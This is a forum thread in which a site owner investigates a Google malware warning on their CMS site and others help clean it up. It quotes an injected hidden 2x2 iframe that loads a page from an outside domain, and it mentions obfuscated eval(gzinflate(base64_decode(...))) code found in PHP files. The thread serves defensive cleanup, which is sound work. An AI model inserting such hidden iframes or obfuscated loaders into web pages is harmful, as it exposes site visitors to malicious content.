I am getting a malware warning from google but I can’t track down how to access these files/pages. not in the ftp or in the CMS. can anyone tell me were I should look?
2
-
thats the thing, I went through the modules/member folder and did not find any injected code. where would I find it then ? I found some others....in the default.php files there is eval(gzinflate(base64_decode(.... is that not supposed to be there?– user1339074Commented Dec 31, 2014 at 14:40
-
yes it can be encoded. it probably is. aw-snap.info/articles/spam-hacks.php– Jelle DijkstraCommented Jan 3, 2015 at 8:36
Add a comment
|
3 Answers
Google's diagnostic page for that site reveals some additional details. When I curl the page (not visiting it in my web browser to avoid any JavaScript or malicious client scripts from executing), I can see that there is an iframe injected at the bottom of the page just before the closing </body> tag:
<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://plansweightloss.com/hewd.html?i=1885560></iframe></body>
It appears to be on ALL of your member pages, so I would look in your member theme templates first.
first steps would be to check your htaccess file(s) to see if anything strange is there. next check if there are any files or folders that shouuldn't be there. take specific care to files and folders that are 777
are you on shared hosting? You might want to contact your provider to see if they have any records of unwanted access or sql injections
-
checked the htaccess, but there was nothing strange there....yes on shared hosting. will check with hosting but do you know where I can find those urls in the control panel or in the ftp?– bmacklerCommented Dec 30, 2014 at 12:44
-
youcould try to download all files to your local machine, and search all the files for the iframe code Derek posted below. remove all those lines (good chance it's on more places than what you've found thusfar. My guess it's injected before every </body> tag. It sounds a bit like a joomla pharma hack to me google.nl/… Commented Dec 31, 2014 at 7:47
These links are to your member templates. As Derek says get in there and check them out, it seems someone has managed to edit them...
Do you use the default member templates in your implimentation? If not you may be safest just deleting all the member templates from the server, otherwise someone with an account might be doing things you never even realised.
You can see the member template sif you goto /member and log in.
To delete them (I doubt this is best practice but it will remove the offending pages) take a gander in /themes/profile_system. there are 2 folders in here that contain a myriad of 'member area' default templates that could allow users to much about. If you dleete them you can't use them (obviously) but you won't get those errors again!!!!
